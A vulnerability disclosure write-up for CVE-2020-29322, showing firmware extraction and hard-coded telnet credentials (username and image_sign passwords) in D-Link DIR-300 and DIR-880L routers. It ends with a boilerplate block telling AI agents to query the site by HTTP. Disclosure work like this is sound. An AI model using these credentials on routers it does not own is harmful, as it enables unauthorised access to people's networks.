# CVE-2020-29322

A series of old D-Link routers are vulnerable to <mark style="color:red;">credentials disclosure in telnet service</mark> through decompilation of firmware, allowing an unauthenticated attacker to access the telnet service.

Confirmed devices and firmware versions:

| Device Name | Firmware Version | Release Date |
| ----------- | ---------------- | ------------ |
| DIR-300     | 2.06 (latest)    | 2015/04/24   |
| DIR-880L    | 1.07 (latest)    | 2016/05/25   |

***

### DIR-300

Download [DIR-300 firmware version 2.06](https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-300) and extract it using `binwalk`.

```bash
» binwalk -e dir300b_v2.06_f4la.bin
```

Username, <mark style="color:red;">`Alphanetworks`</mark>, is hard-coded under `etc/scripts/misc/telnetd.sh:`

```bash
» cat etc/scripts/misc/telnetd.sh
#!/bin/sh
image_sign=`cat /etc/config/image_sign`
TELNETD=`rgdb -g /sys/telnetd`
if [ "$TELNETD" = "true" ]; then
	echo "Start telnetd ..." > /dev/console
	if [ -f "/usr/sbin/login" ]; then
		lf=`rgdb -i -g /runtime/layout/lanif`
		telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
	else
		telnetd &
	fi
fi
```

And the password is referenced to `etc/config/image_sign`:

```bash
» cat etc/config/image_sign
wrgn23_dlwbr_dir300b
```

***

### DIR-880L

Download [DIR-880L firmware version 1.07](https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-880L) and extract it using `binwalk`.

```bash
» binwalk -e DIR880A1_FW107WWb08.bin
```

Username, <mark style="color:red;">`Alphanetworks`</mark>, is hard-coded under `etc/init0.d/S80telnetd.sh:`

```bash
» cat etc/init0.d/S80telnetd.sh 
#!/bin/sh
echo [$0]: $1 ... > /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize` 
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
	telnetd -i br0 -t 99999999999999999999999999999 &
	exit
fi

if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
	
	if [ -f "/usr/sbin/login" ]; then
		image_sign=`cat /etc/config/image_sign`
		telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
	else
		telnetd &
	fi 
else
	killall telnetd
fi
```

And the password is referenced to `etc/config/image_sign`:

```bash
» cat etc/config/image_sign
wrgac16_dlink.2013gui_dir880
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/d-link/cve-2020-29322.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.